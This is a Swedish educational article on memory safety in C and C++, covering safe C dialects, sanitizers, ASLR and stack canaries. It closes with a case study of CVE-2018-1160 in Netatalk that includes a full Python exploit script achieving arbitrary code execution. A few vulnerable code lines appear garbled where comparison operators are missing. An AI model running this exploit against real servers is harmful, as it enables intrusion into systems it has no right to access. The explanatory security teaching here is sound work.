Minnessäkerhet
Många sårbarheter i program bygger idag på fel hur minnet refereras såsom:
- Buffertöverskridning (eng: buffer overflow)
- Följande av null-pekare
- Användning av minnesreferenser efter att minnet lämnats tillbaka till systemet (eng: use-after-free)
- Användning av minne som inte initialiserats
- När minnesreferenser som redan lämnats tillbaka eller aldrig pekat på allokerat minne lämnas tillbaka (igen)
Dessa fel resulterar oftast bara i programbuggar men kan även orsaka sårbarheter där elaka indata till programmet kan få programmet att avslöja minne användaren inte har behörighet att läsa eller till och med exekvera godtagbar kod.
Definition av minnessäkerhet
För att komma åt problemet med icke-minnessäkra program behövs en stringent definition så att automatiska verktyg kan identifiera brister i minnessäkerheten. Då ingen programmerare är perfekt räcker det inte med intuition eller kodstilsguidlines med rekommendationer såsom SEI SERT C 2016.
Givetvis kan man undvika dålig minnessäkerhet genom att använda andra programspråk än C och C++ men för vissa ändamål behövs kompilerade maskinnära språk med noll körtidsoverhead och manuell minneshantering. Vidare kommer det mesta fortsätta att bygga på bibliotek och system som är skrivna i dessa språk inom överskådlig framtid.
Alla är inte eniga om vilka beteenden som är tolererbara då riktig kod ofta använder funktionalitet som är implementationsberoende och ofta resulterar i sårbarheter i minneslayouten som kan utnyttjas. Därför behöver en definition för minnessäkerhet baseras på grundläggande resonemang där ett minnessäkert program är ett program som aldrig ges åtkomst till odefinierat minne. Från detta resonemang där man kräver att allt minne först initialiseras och att alla minnesoperationer har ett definierat beteende och där otillåtna minnesaccesser leder till en kontrollerad programkrasch kan man med induktion formulera bevis för att en viss nivå av minnessäkerhet bevaras i varje steg. [1]
Minnessäkra C och C++ Implementationer
Minnessäkra C och C++ implementationer som baseras på typteoretiska resonemang med bevis för att minnessäkerhet bibehålls har dock inte kunnat tillämpas brett i många program av ett eller flera av följande tillkortakommanden:
- Avsaknad av stöd för vanligt förekommande legitima typkonverteringar och pekararitmetik
- De krävs annoteringar på pekare
- En annan minneslayout används som inte kan länkas med andra bibliotek eller så kollar inte minnessäkerheten på länkade bibliotek
- Hög körtidsoverhead p.g.a. automatisk skräpsamlare (garbage-collector) eller körtidskontroller.
Exempel på minnessäkra C eller C++ implementationer är Cyclone [2], CCured [3], Ironclad-C++ [4], SoftBoundCETS [5] och ManagedC [6].
Instrumenteringsverktyg
Ett alternativ till minnessäkra C och C++ implementationer som garanterar minnessäkerhet, men ofta inte kan inkorporeras på befintliga projekt p.g.a ovanstående punkter är instrumenteringsverktyg såsom AdressSanitizer och Valgrind/Memcheck. Där görs ett separat bygge för att hitta potentiella minnessäkerhetsbrister. Problemet är dock att inget av dessa verktyg hittar alla fel, dessutom har de ofta en högre körtidsoverhead än minnessäkra C/C++ implementationer. [7]
Härdningar i operativsystem och kompilatorer
Strategin att härda system från vissa typer av minnessäkerhetsproblem skall dock inte underskattas. Idag inkorporerar operativsystem och kompilatorer ett antal skyddsåtgärder mot dessa.
Moderna versioner av Windows, Linux och BSD har idag skydd i form utav randomiserad adresslayout ASLR som försvårar för program att veta på vilken adress olika funktioner laddas vid körning eftersom detta randomiseras vid varje körning. [8] Dock är ASLR inte på som förval på Windows 10 men här finns en länk hur detta slås på med en djupare förklaring.
Ett annat vanligt skydd är att moderna kompilatorer implementerar stackskydd med canaries d.v.s. att stacken omgärdas av minne som avslutar programmet ifall detta minnet skrivits över. Först med detta var StackGuard [9] för GCC.
Ett exempel på en buffertöverskridningsårbarhet
CVE-2018-1160 är en sårbarhet i filen dsi_opensess.c i Netatalk som är en implementation AFS (Apple Filing Protocol) som tillåter en UNIX-filservrar att agera fil- och skrivarserver för Apple klienter. [10] Sårbarheten fixades med version 1.1.12. Den sårbara funktionen dsi_opensession
i version 1.1.11 visas nedan.
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;
if (setnonblock(dsi->socket, 1) < 0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
AFP_PANIC("setnonblock error");
}
/* parse options */
while (i cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}
/* let the client know the server quantum. we don't use the
* max server quantum due to a bug in appleshare client 3.8.6. */
dsi->header.dsi_flags = DSIFL_REPLY;
dsi->header.dsi_data.dsi_code = 0;
/* dsi->header.dsi_command = DSIFUNC_OPEN;*/
dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */
/* DSI Option Server Request Quantum */
dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(( dsi->server_quantum server_quantum > DSI_SERVQUANT_MAX ) ?
DSI_SERVQUANT_DEF : dsi->server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i));
/* AFP replaycache size option */
offs = 2 + sizeof(i);
dsi->commands[offs] = DSIOPT_REPLCSIZE;
dsi->commands[offs+1] = sizeof(i);
i = htonl(REPLAYCACHE_SIZE);
memcpy(dsi->commands + offs + 2, &i, sizeof(i));
dsi_send(dsi);
}
Här kan noteras att DSI
pekaren dsi
som är en parameter skriver till struct-fältet commands
utan buffertskydd. Den typdeffade typen DSI
finns deklarerad i dsi.h
vars definition visas nedan.
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */
/* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;
#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif
/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;
Structen ovan har många fält och problemet är att angriparen genom att skriva bortom commands
buffern kan skriva över andra fält i structen och på så sätt exekvera godtycklig kod som följande pythonskript demonstrerar. [10]
import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."
Anledningen till att jag valde denna sårbarhet är för att strukt-interna buffertöverskridningar som denna sårbarhet bygger på ofta inte stoppas av minnessäkra C-implementationer och intrumenteringsverkyg. Detta eftersom en struct ses som en och samma minnesarea utan internt skydd mellan de olika fälten i structen.
Referenser
- Azevedo de Amorim, Arthur & Hriţcu, Cătălin & Pierce, Benjamin. (2018). The Meaning of Memory Safety. 10.1007/978-3-319-89722-6_4.
- Trevor Jim et al. “Cyclone: A Safe Dialect of C”. In: Proceedings of the General Track: 2002 USENIX Annual Technical Conference, June 10-15, 2002, Monterey, California, USA. Ed. by Carla Schlatter Ellis. USENIX, 2002, pp. 275–288.ISBN: 1-880446-00-6. http://www.usenix.org/publications/library/proceedings/usenix02/jim.html
- George C. Necula et al. “CCured: type-safe retrofitting of legacy software”. In: ACM Trans. Program. Lang. Syst.27.3 (2005), pp. 477–526. DOI: 10.1145/1065887.1065892. http://doi.acm.org/10.1145/1065887.1065892
- Osera, Peter-Michael & Eisenberg, Richard & Delozier, Christian & Nagarakatte, Santosh & Zdancewic, S. & Martin, Milo. (2020). Core Ironclad (Technical Report — Draft).
- Santosh Nagarakatte.SoftBound+CETS: Complete and Compatible Full Memory Safety for C. https://www.cs.rutgers.edu/~santosh.nagarakatte/softbound/
- Matthias Grimmer et al. “Memory-safe Execution of C on a Java VM”. In: Proceedings of the 10th ACM Workshop on Programming Languages and Analysis for Security, PLAS@ECOOP 2015, Prague, Czech Republic, July 4-10, 2015. Ed. by Michael Clarkson and Limin Jia. ACM, 2015, pp. 16–27. ISBN: 978-1-4503-3661-1. DOI: 10.1145/2786558.2786565. http://doi.acm.org/10.1145/2786558.2786565
- Github, AddressSanitizerComparisonOfMemoryTools, https://github.com/google/sanitizers/wiki/AddressSanitizerComparisonOfMemoryTools
- How-To-Geek, What Is ASLR, and How Does It Keep Your Computer Secure? https://www.howtogeek.com/278056/what-is-aslr-and-how-does-it-keep-your-computer-secure/
- Cowan, Crispin & Pu, Calton & Maier, Dave & Hintony, Heather & Walpole, Jonathan & Bakke, Peat & Beattie, Steve & Grier, Aaron & Wagle, Perry & Zhang, Qian. (1998). StackGuard: Automatic adaptive detection and prevention of buffer-overflow attacks. 98. 5-5.
- Githacktools, CVE-2018-1160: Netatalk – Bypass Authentication https://githacktools.blogspot.com/2018/12/cve-2018-1160-netatalk.html